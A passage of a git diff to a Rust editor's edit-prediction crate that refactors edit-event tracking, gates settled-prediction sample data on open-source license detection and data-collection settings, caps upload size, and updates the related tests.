+                    new_range: new_range.clone(),
                     in_open_source_repo,
                     predicted: self.predicted,
                 }),
                 old_snapshot: self.old_snapshot.clone(),
                 new_snapshot_version: self.new_snapshot.version.clone(),
-                total_edit_range: self.new_snapshot.anchor_before(edit_range.start)
-                    ..self.new_snapshot.anchor_before(edit_range.end),
+                total_edit_range: self.new_snapshot.anchor_before(new_range.start)
+                    ..self.new_snapshot.anchor_before(new_range.end),
                 file_context: self.file_context.clone(),
             })
         }
@@ -680,49 +774,40 @@ impl LastEvent {
             return (self.clone(), None);
         };
 
+        let Some(after) = self.suffix_after(boundary_snapshot) else {
+            return (self.clone(), None);
+        };
+
         let total_edit_range_before_pause = self
             .total_edit_range_at_last_pause_boundary
             .clone()
             .unwrap_or_else(|| self.total_edit_range.clone());
 
-        let Some(total_edit_range_after_pause) =
-            compute_total_edit_range_between_snapshots(boundary_snapshot, &self.new_snapshot)
-        else {
-            return (self.clone(), None);
-        };
-
-        let latest_edit_range_before_pause = total_edit_range_before_pause.clone();
-        let latest_edit_range_after_pause = total_edit_range_after_pause.clone();
-
         let before = LastEvent {
-            old_snapshot: self.old_snapshot.clone(),
             new_snapshot: boundary_snapshot.clone(),
-            old_file: self.old_file.clone(),
-            new_file: self.new_file.clone(),
-            latest_edit_range: latest_edit_range_before_pause,
+            latest_edit_range: total_edit_range_before_pause.clone(),
             total_edit_range: total_edit_range_before_pause,
             total_edit_range_at_last_pause_boundary: None,
-            predicted: self.predicted,
             snapshot_after_last_editing_pause: None,
-            last_edit_time: self.last_edit_time,
-            file_context: self.file_context.clone(),
+            ..self.clone()
         };
 
-        let after = LastEvent {
+        (before, Some(after))
+    }
+
+    /// The portion of this event that happened after `boundary_snapshot`, or
+    /// None if the buffer hasn't changed since.
+    pub fn suffix_after(&self, boundary_snapshot: &TextBufferSnapshot) -> Option<LastEvent> {
+        let total_edit_range =
+            compute_total_edit_range_between_snapshots(boundary_snapshot, &self.new_snapshot)?;
+        Some(LastEvent {
             old_snapshot: boundary_snapshot.clone(),
-            new_snapshot: self.new_snapshot.clone(),
-            old_file: self.old_file.clone(),
-            new_file: self.new_file.clone(),
-            latest_edit_range: latest_edit_range_after_pause,
-            total_edit_range: total_edit_range_after_pause,
+            latest_edit_range: total_edit_range.clone(),
+            total_edit_range,
             total_edit_range_at_last_pause_boundary: None,
-            predicted: self.predicted,
             snapshot_after_last_editing_pause: None,
-            last_edit_time: self.last_edit_time,
-            file_context: self.file_context.clone(),
-        };
-
-        (before, Some(after))
+            ..self.clone()
+        })
     }
 }
 
@@ -791,12 +876,16 @@ fn compute_diff_between_snapshots_in_range(
     old_snapshot: &TextBufferSnapshot,
     new_snapshot: &TextBufferSnapshot,
     total_edit_range: &Range<Anchor>,
-) -> Option<(String, Range<Point>)> {
-    let new_start_point = total_edit_range.start.to_point(new_snapshot);
-    let new_end_point = total_edit_range.end.to_point(new_snapshot);
+) -> Option<(String, Range<usize>, Range<usize>)> {
+    let new_start_offset = total_edit_range.start.to_offset(new_snapshot);
+    let new_end_offset = total_edit_range.end.to_offset(new_snapshot);
+    let new_start_point = new_snapshot.offset_to_point(new_start_offset);
+    let new_end_point = new_snapshot.offset_to_point(new_end_offset);
     let old_range = compute_old_range_for_new_range(old_snapshot, new_snapshot, total_edit_range)?;
     let old_start_point = old_range.start;
     let old_end_point = old_range.end;
+    let old_start_offset = old_snapshot.point_to_offset(old_start_point);
+    let old_end_offset = old_snapshot.point_to_offset(old_end_point);
 
     const CONTEXT_LINES: u32 = 3;
 
@@ -832,7 +921,11 @@ fn compute_diff_between_snapshots_in_range(
         new_context_start_row,
     );
 
-    Some((diff, new_start_point..new_end_point))
+    Some((
+        diff,
+        old_start_offset..old_end_offset,
+        new_start_offset..new_end_offset,
+    ))
 }
 
 pub(crate) fn buffer_path_with_id_fallback(
@@ -1131,15 +1224,13 @@ impl EditPredictionStore {
 
     pub fn clear_history(&mut self) {
         for project_state in self.projects.values_mut() {
-            project_state.events.clear();
-            project_state.last_event.take();
+            project_state.clear_history();
         }
     }
 
     pub fn clear_history_for_project(&mut self, project: &Entity<Project>) {
         if let Some(project_state) = self.projects.get_mut(&project.entity_id()) {
-            project_state.events.clear();
-            project_state.last_event.take();
+            project_state.clear_history();
         }
     }
 
@@ -1337,6 +1428,7 @@ impl EditPredictionStore {
                 },
                 events: VecDeque::new(),
                 last_event: None,
+                next_last_event_seq: 0,
                 recently_viewed_files: VecDeque::new(),
                 recently_opened_files: VecDeque::new(),
                 debug_tx: None,
@@ -1346,8 +1438,7 @@ impl EditPredictionStore {
                 last_edit_source: None,
                 cancelled_predictions: HashSet::default(),
                 pending_predictions: ArrayVec::new(),
-                pending_jump_example_captures: Vec::new(),
-                starting_jump_example_captures: Vec::new(),
+                pending_prediction_captures: Vec::new(),
                 next_pending_prediction_id: 0,
                 last_edit_prediction_refresh: None,
                 last_jump_prediction_refresh: None,
@@ -1475,14 +1566,23 @@ impl EditPredictionStore {
                         path: path.path.as_std_path().into(),
                         cursor_position,
                     };
-                    for capture in &mut project_state.pending_jump_example_captures {
-                        capture.navigation_history.push(recent_file.clone());
-                        if capture.navigation_history.len() > JUMP_EXAMPLE_NAVIGATION_COUNT {
-                            capture.navigation_history.remove(0);
+                    let can_collect_navigation = project_state
+                        .license_detection_watchers
+                        .get(&path.worktree_id)
+                        .is_some_and(|watcher| watcher.is_project_open_source());
+                    for capture in &mut project_state.pending_prediction_captures {
+                        if let Some(sample_data) = capture.sample_data.as_mut() {
+                            if can_collect_navigation {
+                                push_recent_file(
+                                    &mut sample_data.navigation_history,
+                                    recent_file.clone(),
+                                );
+                            } else {
+                                capture.sample_data = None;
+                            }
                         }
                     }
                     push_recent_file(&mut project_state.recently_viewed_files, recent_file);
-                    jump_example::drain_completed_jump_example_captures(project_state, cx);
                 }
             }
             project::Event::DiagnosticsUpdated { .. } => {
@@ -1549,7 +1649,6 @@ impl EditPredictionStore {
                     snapshot,
                     file,
                     last_position: None,
-                    pending_predictions: Vec::new(),
                     _subscriptions: [
                         cx.subscribe(buffer, {
                             let project = project.downgrade();
@@ -1617,9 +1716,19 @@ impl EditPredictionStore {
             return;
         };
 
-        for pending_prediction in &mut registered_buffer.pending_predictions {
-            if edit_range.overlaps(&pending_prediction.editable_anchor_range, &new_snapshot) {
-                pending_prediction.last_edit_at = now;
+        for pending_capture in &mut project_state.pending_prediction_captures {
+            if pending_capture.edited_buffer_id == buffer.entity_id()
+                && edit_range.overlaps(&pending_capture.editable_anchor_range, &new_snapshot)
+            {
+                pending_capture.last_edit_at = now;
+                if is_local
+                    && !is_predicted
+                    && let Some(sample_data) = pending_capture.sample_data.as_mut()
+                    && sample_data.next_edit_cursor_offset.is_none()
+                {
+                    sample_data.next_edit_cursor_offset =
+                        Some(edit_range.start.to_offset(&new_snapshot));
+                }
             }
         }
 
@@ -1697,7 +1806,10 @@ impl EditPredictionStore {
             file_context
         });
 
+        let seq = project_state.next_last_event_seq;
+        project_state.next_last_event_seq += 1;
         project_state.last_event = Some(LastEvent {
+            seq,
             old_file,
             new_file,
             old_snapshot,
@@ -1900,48 +2012,79 @@ impl EditPredictionStore {
             let mut oldest_edited_at = None;
             let mut ready_predictions = Vec::new();
 
-            this.update(cx, |this, _| {
-                for (_, project_state) in this.projects.iter_mut() {
-                    for (_, registered_buffer) in project_state.registered_buffers.iter_mut() {
-                        let mut pending_index = 0;
-                        while pending_index < registered_buffer.pending_predictions.len() {
-                            let pending_prediction =
-                                &registered_buffer.pending_predictions[pending_index];
-                            let age = now.saturating_duration_since(pending_prediction.enqueued_at);
-                            if age >= EDIT_PREDICTION_SETTLED_TTL {
-                                registered_buffer.pending_predictions.remove(pending_index);
-                                continue;
-                            }
+            this.update(cx, |this, cx| {
+                for project_state in this.projects.values_mut() {
+                    let ProjectState {
+                        last_event,
+                        registered_buffers,
+                        license_detection_watchers,
+                        pending_prediction_captures,
+                        ..
+                    } = project_state;
+                    let pending_last_event = last_event.as_ref().map(|last_event| {
+                        (
+                            last_event,
+                            last_event.finalize(license_detection_watchers, cx),
+                        )
+                    });
+                    let mut pending_index = 0;
+                    while pending_index < pending_prediction_captures.len() {
+                        let pending_capture = &pending_prediction_captures[pending_index];
+                        let age = now.saturating_duration_since(pending_capture.enqueued_at);
+                        if age >= EDIT_PREDICTION_SETTLED_TTL {
+                            pending_prediction_captures.remove(pending_index);
+                            continue;
+                        }
 
-                            let quiet_for =
-                                now.saturating_duration_since(pending_prediction.last_edit_at);
-                            if quiet_for >= EDIT_PREDICTION_SETTLED_QUIESCENCE {
-                                let pending_prediction =
-                                    registered_buffer.pending_predictions.remove(pending_index);
-                                let settled_editable_region = registered_buffer
-                                    .snapshot
-                                    .text_for_range(
-                                        pending_prediction.editable_anchor_range.clone(),
-                                    )
-                                    .collect::<String>();
-                                ready_predictions
-                                    .push((pending_prediction, settled_editable_region));
+                        let quiet_for = now.saturating_duration_since(pending_capture.last_edit_at);
+                        if quiet_for >= EDIT_PREDICTION_SETTLED_QUIESCENCE {
+                            let Some(registered_buffer) =
+                                registered_buffers.get(&pending_capture.edited_buffer_id)
+                            else {
+                                pending_prediction_captures.remove(pending_index);
+                                continue;
+                            };
+                            let editable_offset_range = pending_capture
+                                .editable_anchor_range
+                                .to_offset(&registered_buffer.snapshot);
+                            if editable_offset_range.len()
+                                > EDIT_PREDICTION_SETTLED_MAX_EDITABLE_REGION_BYTES
+                            {
+                                // The prediction was obliterated by a huge edit;
+                                // kept-rate against it would be meaningless and the
+                                // region would blow the body size cap.
+                                pending_prediction_captures.remove(pending_index);
                                 continue;
                             }
-
-                            if oldest_edited_at
-                                .is_none_or(|time| pending_prediction.last_edit_at < time)
+                            let settled_editable_region = registered_buffer
+                                .snapshot
+                                .text_for_range(editable_offset_range)
+                                .collect::<String>();
+                            let mut pending_capture =
+                                pending_prediction_captures.remove(pending_index);
+                            if let Some((last_event, finalized_event)) = pending_last_event.as_ref()
                             {
-                                oldest_edited_at = Some(pending_prediction.last_edit_at);
+                                pending_capture.try_record_future_event(
+                                    last_event,
+                                    finalized_event.as_ref(),
+                                    license_detection_watchers,
+                                    cx,
+                                );
                             }
-                            pending_index += 1;
+                            ready_predictions.push((pending_capture, settled_editable_region));
+                            continue;
+                        }
+
+                        if oldest_edited_at.is_none_or(|time| pending_capture.last_edit_at < time) {
+                            oldest_edited_at = Some(pending_capture.last_edit_at);
                         }
+                        pending_index += 1;
                     }
                 }
             });
 
-            for (pending_prediction, settled_editable_region) in ready_predictions {
-                let PendingSettledPrediction {
+            for (pending_capture, settled_editable_region) in ready_predictions {
+                let PendingPredictionCapture {
                     request_id,
                     editable_region_before_prediction,
                     predicted_editable_region,
@@ -1950,11 +2093,11 @@ impl EditPredictionStore {
                     organization_id,
                     can_collect_data,
                     is_in_open_source_repo,
-                    example,
+                    sample_data,
                     model_version,
                     e2e_latency,
                     ..
-                } = pending_prediction;
+                } = pending_capture;
                 let settled_editable_region_for_metrics = settled_editable_region.clone();
                 #[cfg(test)]
                 {
@@ -1978,21 +2121,46 @@ impl EditPredictionStore {
                         );
 
                         let result: anyhow::Result<()> = async {
-                            let settled_editable_region =
-                                can_collect_data.then_some(settled_editable_region);
-                            let example = if can_collect_data {
-                                example.map(serde_json::to_value).transpose()?
+                            let sample_data = if can_collect_data
+                                && let Some(sample_data) = sample_data
+                                && let Ok(context) = sample_data.context_task.await
+                            {
+                                Some(SettledEditPredictionSampleData {
+                                    repository_url: context.repository_url,
+                                    revision: context.revision,
+                                    uncommitted_diff: context.uncommitted_diff,
+                                    editable_path: sample_data.editable_path,
+                                    editable_offset_range: sample_data.editable_offset_range,
+                                    buffer_diagnostics: context.buffer_diagnostics,
+                                    future_edit_history_events: sample_data
+                                        .future_edit_history_events,
+                                    navigation_history: sample_data
+                                        .navigation_history
+                                        .into_iter()
+                                        .map(|file| EditPredictionRecentFile {
+                                            path: file.path,
+                                            cursor_position: file.cursor_position,
+                                        })
+                                        .collect(),
+                                    edit_events_before_quiescence: sample_data
+                                        .edit_events_before_quiescence,
+                                    next_edit_cursor_offset: sample_data.next_edit_cursor_offset,
+                                })
                             } else {
                                 None
                             };
 
-                            let body = SubmitEditPredictionSettledBody {
+                            let settled_editable_region =
+                                can_collect_data.then_some(settled_editable_region);
+
+                            let mut body = SettledEditPrediction {
                                 request_id: request_id.0.to_string(),
                                 settled_editable_region,
                                 ts_error_count_before_prediction,
                                 ts_error_count_after_prediction,
                                 can_collect_data,
                                 is_in_open_source_repo,
+                                sample_data,
                                 kept_chars: EditPredictionSettledKeptChars {
                                     candidate_new: kept_rate_result.candidate_new_chars,
                                     reference_new: kept_rate_result.reference_new_chars,
@@ -2005,13 +2173,18 @@ impl EditPredictionStore {
                                     kept_rate: kept_rate_result.kept_rate,
                                     recall_rate: kept_rate_result.recall_rate,
                                 },
-                                example,
+                                example: None,
                                 model_version,
-                                e2e_latency_ms: e2e_latency.as_millis(),
+                                e2e_latency_ms: e2e_latency.as_millis().min(u128::from(u64::MAX))
+                                    as u64,
                             };
 
-                            let json_bytes = serde_json::to_vec(&body)?;
-                            let compressed = zstd::encode_all(&json_bytes[..], 3)?;
+                            let mut compressed =
+                                zstd::encode_all(&serde_json::to_vec(&body)?[..], 3)?;
+                            if compressed.len() > EDIT_PREDICTION_SETTLED_MAX_BODY_BYTES {
+                                body.sample_data = None;
+                                compressed = zstd::encode_all(&serde_json::to_vec(&body)?[..], 3)?;
+                            }
 
                             let url = client
                                 .http_client()
@@ -2053,7 +2226,8 @@ impl EditPredictionStore {
         edited_buffer_snapshot: &BufferSnapshot,
         editable_offset_range: Range<usize>,
         edit_preview: &EditPreview,
-        example: Option<ExampleSpec>,
+        context_task: Option<Task<Result<CapturedPredictionContext>>>,
+        prompt_history_boundary: Option<PromptHistoryBoundary>,
         model_version: Option<String>,
         e2e_latency: std::time::Duration,
         cx: &mut Context<Self>,
@@ -2073,12 +2247,12 @@ impl EditPredictionStore {
             .current_organization()
             .map(|organization| organization.id.clone());
         let project_state = this.get_or_init_project(project, cx);
-        let Some(registered_buffer) = project_state
+        if !project_state
             .registered_buffers
-            .get_mut(&edited_buffer.entity_id())
-        else {
+            .contains_key(&edited_buffer.entity_id())
+        {
             return;
-        };
+        }
 
         let editable_region_before_prediction = edited_buffer_snapshot
             .text_for_range(editable_offset_range.clone())
@@ -2101,12 +2275,30 @@ impl EditPredictionStore {
             ),
         );
         let editable_anchor_range =
-            edited_buffer_snapshot.anchor_range_inside(editable_offset_range);
+            edited_buffer_snapshot.anchor_range_inside(editable_offset_range.clone());
         let now = cx.background_executor().now();
-        registered_buffer
-            .pending_predictions
-            .push(PendingSettledPrediction {
+        let sample_data = if can_collect_data
+            && let Some(context_task) = context_task
+            && let Some(file) = edited_buffer_snapshot.file()
+        {
+            Some(PendingPredictionCaptureSampleData {
+                context_task,
+                editable_path: file.path().as_std_path().into(),
+                editable_offset_range,
+                next_edit_cursor_offset: None,
+                future_edit_history_events: Vec::new(),
+                navigation_history: VecDeque::new(),
+                edit_events_before_quiescence: 0,
+                prompt_history_boundary,
+            })
+        } else {
+            None
+        };
+        project_state
+            .pending_prediction_captures
+            .push(PendingPredictionCapture {
                 request_id,
+                edited_buffer_id: edited_buffer.entity_id(),
                 editable_anchor_range,
                 editable_region_before_prediction,
                 predicted_editable_region,
@@ -2115,7 +2307,7 @@ impl EditPredictionStore {
                 organization_id,
                 can_collect_data,
                 is_in_open_source_repo,
-                example,
+                sample_data,
                 model_version,
                 e2e_latency,
                 enqueued_at: now,
@@ -2749,6 +2941,18 @@ impl EditPredictionStore {
         self.get_or_init_project(&project, cx);
         let project_state = self.projects.get(&project.entity_id()).unwrap();
         let stored_events = project_state.events(cx);
+        let prompt_history_boundary = Some(PromptHistoryBoundary {
+            first_event_seq: project_state
+                .last_event
+                .as_ref()
+                .map_or(project_state.next_last_event_seq, |last_event| {
+                    last_event.seq
+                }),
+            snapshot: project_state
+                .last_event
+                .as_ref()
+                .map(|last_event| last_event.new_snapshot.clone()),
+        });
         let has_events = !stored_events.is_empty();
         let events: Vec<Arc<zeta_prompt::Event>> =
             stored_events.iter().map(|e| e.event.clone()).collect();
@@ -2768,15 +2972,28 @@ impl EditPredictionStore {
         };
 
         let buffer_id = active_buffer.read(cx).remote_id();
-        let repo_url = project
+        let (repository_url, revision) = project
             .read(cx)
             .git_store()
             .read(cx)
             .repository_and_path_for_buffer_id(buffer_id, cx)
-            .and_then(|(repo, _)| repo.read(cx).default_remote_url());
+            .map(|(repository, _)| {
+                let snapshot = repository.read(cx).snapshot();
+                (
+                    snapshot
+                        .remote_origin_url
+                        .clone()
+                        .or_else(|| snapshot.remote_upstream_url.clone()),
+                    snapshot
+                        .head_commit
+                        .as_ref()
+                        .map(|commit| commit.sha.to_string()),
+                )
+            })
+            .unwrap_or_default();
 
         let is_staff_zed_repo = cx.is_staff()
-            && repo_url
+            && repository_url
                 .as_ref()
                 .is_some_and(|url| is_zed_industries_repo(url));
         let is_open_source = is_staff_zed_repo
@@ -2790,14 +3007,12 @@ impl EditPredictionStore {
             && is_open_source
             && self.is_data_collection_enabled(cx)
             && matches!(self.edit_prediction_model, EditPredictionModel::Zeta);
-        let capture_worktree_id = snapshot.file().map(|file| file.worktree_id(cx));
         let inputs = EditPredictionModelInput {
             project: project.clone(),
             buffer: active_buffer,
             snapshot,
             position,
             events,
-            stored_events: stored_events.clone(),
             related_files,
             mode,
             trigger,
@@ -2809,41 +3024,27 @@ impl EditPredictionStore {
 
         let task = match self.edit_prediction_model {
             EditPredictionModel::Zeta => {
-                let capture_data = if let Some(worktree_id) = capture_worktree_id
-                    && can_collect_data
-                {
-                    let uncommitted_diff_snapshot = uncommitted_diffs_for_events(
-                        project.clone(),
-                        worktree_id,
-                        stored_events.clone(),
-                        cx,
-                    )
-                    .shared();
-                    jump_example::try_start_jump_example_capture(
-                        project_state,
-                        uncommitted_diff_snapshot.clone(),
-                        inputs.project.clone(),
-                        inputs.snapshot.clone(),
-                        inputs.position,
-                        match trigger {
-                            PredictEditsRequestTrigger::Diagnostics
-                            | PredictEditsRequestTrigger::DiagnosticNavigation => {
-                                JumpExampleTrigger::Diagnostic
-                            }
-                            _ => JumpExampleTrigger::Prediction,
-                        },
-                        stored_events,
-                        inputs.diagnostic_search_range.clone(),
-                        can_collect_data,
-                        is_open_source,
-                        cx,
-                    );
-                    rand::random_ratio(1, 10).then(|| uncommitted_diff_snapshot)
-                } else {
-                    None
-                };
-
-                zeta::request_prediction_with_zeta(self, inputs, capture_data, repo_url, cx)
+                let context_task = can_collect_data
+                    .then(|| {
+                        capture_prediction_context(
+                            inputs.project.clone(),
+                            inputs.buffer.clone(),
+                            inputs.position,
+                            stored_events,
+                            repository_url.clone(),
+                            revision,
+                            cx,
+                        )
+                    })
+                    .flatten();
+                zeta::request_prediction_with_zeta(
+                    self,
+                    inputs,
+                    context_task,
+                    prompt_history_boundary,
+                    repository_url,
+                    cx,
+                )
             }
             EditPredictionModel::Fim { format } => fim::request_prediction(inputs, format, cx),
             EditPredictionModel::Mercury => {
@@ -3440,7 +3641,7 @@ fn merge_trailing_events_if_needed(
             merge_anchor_ranges(&merged_edit_range, &event.total_edit_range, latest_snapshot);
     }
 
-    if let Some((diff, edit_range)) = compute_diff_between_snapshots_in_range(
+    if let Some((diff, old_range, new_range)) = compute_diff_between_snapshots_in_range(
         &oldest_snapshot,
         newest_snapshot,
         &merged_edit_range,
@@ -3456,6 +3657,8 @@ fn merge_trailing_events_if_needed(
                     old_path: old_path.clone(),
                     path: path.clone(),
                     diff,
+                    old_range,
+                    new_range: new_range.clone(),
                     in_open_source_repo: *in_open_source_repo,
                     predicted: events.range(merge_start..).all(|event| {
                         matches!(
@@ -3469,8 +3672,8 @@ fn merge_trailing_events_if_needed(
                 }),
                 old_snapshot: oldest_snapshot.clone(),
                 new_snapshot_version: newest_snapshot.version.clone(),
-                total_edit_range: newest_snapshot.anchor_before(edit_range.start)
-                    ..newest_snapshot.anchor_before(edit_range.end),
+                total_edit_range: newest_snapshot.anchor_before(new_range.start)
+                    ..newest_snapshot.anchor_before(new_range.end),
                 file_context: oldest_event.file_context.clone(),
             },
         };
diff --git a/crates/edit_prediction/src/edit_prediction_tests.rs b/crates/edit_prediction/src/edit_prediction_tests.rs
index 3dc02f8eb5da30..1ef96d84af50bc 100644
--- a/crates/edit_prediction/src/edit_prediction_tests.rs
+++ b/crates/edit_prediction/src/edit_prediction_tests.rs
@@ -3,7 +3,7 @@ use clock::FakeSystemClock;
 use clock::ReplicaId;
 use cloud_api_types::{
     CreateLlmTokenResponse, LlmToken, Organization, OrganizationConfiguration,
-    OrganizationEditPredictionConfiguration, OrganizationId, SubmitEditPredictionSettledBody,
+    OrganizationEditPredictionConfiguration, OrganizationId, SettledEditPrediction,
     SubmitEditPredictionSettledResponse,
 };
 use cloud_llm_client::{
@@ -1455,6 +1455,7 @@ async fn test_empty_prediction(cx: &mut TestAppContext) {
     let position = snapshot.anchor_before(language::Point::new(1, 3));
 
     ep_store.update(cx, |ep_store, cx| {
+        ep_store.register_buffer(&buffer, &project, cx);
         ep_store.refresh_prediction_from_buffer(
             project.clone(),
             buffer.clone(),
@@ -1495,7 +1496,7 @@ async fn test_empty_prediction(cx: &mut TestAppContext) {
     assert_eq!(
         &reject_request.rejections,
         &[EditPredictionRejection {
-            request_id: id,
+            request_id: id.clone(),
             reason: EditPredictionRejectReason::Empty,
             was_shown: false,
             model_version: Some("zeta2:test-empty".to_string()),
@@ -2686,6 +2687,7 @@ fn test_active_buffer_diagnostics_collection_limits(cx: &mut TestAppContext) {
     let text = (0..300)
         .map(|row| format!("line {row} has some diagnostic context\n"))
         .collect::<String>();
+    let long_message = "diagnostic message ".repeat(1000);
     let buffer = cx.new(|cx| Buffer::local(&text, cx));
 
     buffer.update(cx, |buffer, cx| {
@@ -2695,7 +2697,7 @@ fn test_active_buffer_diagnostics_collection_limits(cx: &mut TestAppContext) {
                 range: text::PointUtf16::new(150, 0)..text::PointUtf16::new(150, 4),
                 diagnostic: Diagnostic {
                     severity: DiagnosticSeverity::ERROR,
-                    message: "long snippet".to_string(),
+                    message: long_message.clone(),
                     group_id: 1,
                     is_primary: true,
                     source_kind: language::DiagnosticSourceKind::Pushed,
@@ -2716,7 +2718,15 @@ fn test_active_buffer_diagnostics_collection_limits(cx: &mut TestAppContext) {
     );
 
     assert_eq!(active_buffer_diagnostics.len(), 1);
-    assert!(active_buffer_diagnostics[0].snippet.len() <= 512 * 3 + 2);
+    assert!(
+        active_buffer_diagnostics[0].message.len()
+            <= crate::zeta::MAX_ACTIVE_BUFFER_DIAGNOSTIC_MESSAGE_TOKENS_TO_COLLECT * 3 + 2
+    );
+    assert!(active_buffer_diagnostics[0].message.len() < long_message.len());
+    assert!(
+        active_buffer_diagnostics[0].snippet.len()
+            <= crate::zeta::MAX_ACTIVE_BUFFER_DIAGNOSTIC_SNIPPET_TOKENS_TO_COLLECT * 3 + 2
+    );
     assert!(active_buffer_diagnostics[0].snippet.len() < text.len());
 }
 
@@ -2819,7 +2829,7 @@ struct RequestChannels {
         oneshot::Sender<PredictEditsV3Response>,
     )>,
     reject: mpsc::UnboundedReceiver<(RejectEditPredictionsBody, oneshot::Sender<()>)>,
-    settled: mpsc::UnboundedReceiver<SubmitEditPredictionSettledBody>,
+    settled: mpsc::UnboundedReceiver<SettledEditPrediction>,
 }
 
 fn init_test_with_fake_client(
@@ -3833,6 +3843,7 @@ async fn test_edit_prediction_settled(cx: &mut TestAppContext) {
             &edit_preview_a,
             None,
             None,
+            None,
             Duration::from_secs(0),
             cx,
         );
@@ -3900,6 +3911,7 @@ async fn test_edit_prediction_settled(cx: &mut TestAppContext) {
             &edit_preview_b,
             None,
             None,
+            None,
             Duration::from_secs(0),
             cx,
         );
@@ -3949,19 +3961,40 @@ async fn test_edit_prediction_settled(cx: &mut TestAppContext) {
     }
 }
 
-#[gpui::test]
-async fn test_edit_prediction_settled_omits_body_when_data_collection_is_disabled(
+const MIT_LICENSE: &str = indoc! {r#"
+    MIT License
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+"#};
+
+async fn init_sample_capture_test(
+    tree: serde_json::Value,
     cx: &mut TestAppContext,
+) -> (
+    Entity<EditPredictionStore>,
+    RequestChannels,
+    Entity<Project>,
+    Entity<Buffer>,
 ) {
-    let (ep_store, mut requests) = init_test_with_fake_client(cx);
+    let (ep_store, requests) = init_test_with_fake_client(cx);
     let fs = FakeFs::new(cx.executor());
-    fs.insert_tree(
-        "/root",
-        json!({
-            "foo.md": "sensitive source\n"
-        }),
-    )
-    .await;
+    fs.insert_tree("/root", tree).await;
     let project = Project::test(fs, vec![path!("/root").as_ref()], cx).await;
     let buffer = project
         .update(cx, |project, cx| {
@@ -3970,52 +4003,404 @@ async fn test_edit_prediction_settled_omits_body_when_data_collection_is_disable
         })
         .await
         .unwrap();
-
     ep_store.update(cx, |ep_store, cx| {
         ep_store.register_buffer(&buffer, &project, cx);
     });
+    cx.run_until_parked();
+    (ep_store, requests, project, buffer)
+}
 
+/// Enqueues a settled prediction capture with injected sample data, as the
+/// real request path would when data collection is enabled. Returns the
+/// editable offset range.
+async fn enqueue_sample_capture(
+    ep_store: &Entity<EditPredictionStore>,
+    project: &Entity<Project>,
+    buffer: &Entity<Buffer>,
+    id: &str,
+    editable_point_range: Range<Point>,
+    context: CapturedPredictionContext,
+    prompt_history_boundary: Option<PromptHistoryBoundary>,
+    navigation_history: VecDeque<RecentFile>,
+    cx: &mut TestAppContext,
+) -> Range<usize> {
     let snapshot = buffer.read_with(cx, |buffer, _cx| buffer.snapshot());
-    let edits: Arc<[(Range<Anchor>, Arc<str>)]> =
-        cx.update(|cx| to_completion_edits([(0..9, "replacement".into())], &buffer, cx).into());
+    let editable_offset_range = snapshot.point_to_offset(editable_point_range.start)
+        ..snapshot.point_to_offset(editable_point_range.end);
+    let empty_edits: Arc<[(Range<Anchor>, Arc<str>)]> = Vec::new().into();
     let edit_preview = buffer
-        .read_with(cx, |buffer, cx| buffer.preview_edits(edits, cx))
+        .read_with(cx, |buffer, cx| buffer.preview_edits(empty_edits, cx))
         .await;
-
     ep_store.update(cx, |ep_store, cx| {
         ep_store.enqueue_settled_prediction(
-            EditPredictionId("prediction-private".into()),
-            &project,
-            &buffer,
+            EditPredictionId(id.to_string().into()),
+            project,
+            buffer,
             &snapshot,
-            0..snapshot.len(),
+            editable_offset_range.clone(),
             &edit_preview,
-            Some(ExampleSpec {
-                name: "test example".to_string(),
-                repository_url: "https://example.com/repo".to_string(),
-                revision: "rev".to_string(),
-                tags: Vec::new(),
-                reasoning: None,
-                uncommitted_diff: String::new(),
-                recently_opened_files: Vec::new(),
-                recently_viewed_files: Vec::new(),
-                uncommitted_diff_contains_edit_history: false,
-                cursor_path: Path::new("foo.md").into(),
-                cursor_position: "0".to_string(),
-                edit_history: "sensitive edit history".to_string(),
-                expected_patches: vec!["sensitive patch".to_string()],
-                rejected_patch: None,
-                telemetry: None,
-                human_feedback: Vec::new(),
-                rating: None,
-            }),
-            Some("test-model".to_string()),
-            Duration::from_millis(42),
+            None,
+            None,
+            None,
+            Duration::from_secs(0),
             cx,
         );
+        let pending_capture = ep_store
+            .projects
+            .get_mut(&project.entity_id())
+            .unwrap()
+            .pending_prediction_captures
+            .last_mut()
+            .unwrap();
+        pending_capture.can_collect_data = true;
+        pending_capture.sample_data = Some(PendingPredictionCaptureSampleData {
+            context_task: Task::ready(Ok(context)),
+            editable_path: snapshot.file().unwrap().path().as_std_path().into(),
+            editable_offset_range: editable_offset_range.clone(),
+            next_edit_cursor_offset: None,
+            future_edit_history_events: Vec::new(),
+            navigation_history,
+            edit_events_before_quiescence: 0,
+            prompt_history_boundary,
+        });
+    });
+    editable_offset_range
+}
+
+#[gpui::test]
+async fn test_edit_prediction_settled_sends_sample_data_after_quiescence(cx: &mut TestAppContext) {
+    let (ep_store, mut requests, project, buffer) = init_sample_capture_test(
+        json!({
+            "LICENSE": MIT_LICENSE,
+            "foo.md": (0..60).map(|ix| format!("line {ix}\n")).collect::<String>(),
+        }),
+        cx,
+    )
+    .await;
+
+    buffer.update(cx, |buffer, cx| {
+        let offset = Point::new(1, 0).to_offset(buffer);
+        buffer.edit(vec![(offset..offset, "prompted ")], None, cx);
     });
+    cx.run_until_parked();
 
+    let boundary = ep_store.update(cx, |ep_store, _cx| {
+        let project_state = ep_store.projects.get(&project.entity_id()).unwrap();
+        PromptHistoryBoundary {
+            first_event_seq: project_state
+                .last_event
+                .as_ref()
+                .map_or(project_state.next_last_event_seq, |last_event| {
+                    last_event.seq
+                }),
+            snapshot: project_state
+                .last_event
+                .as_ref()
+                .map(|last_event| last_event.new_snapshot.clone()),
+        }
+    });
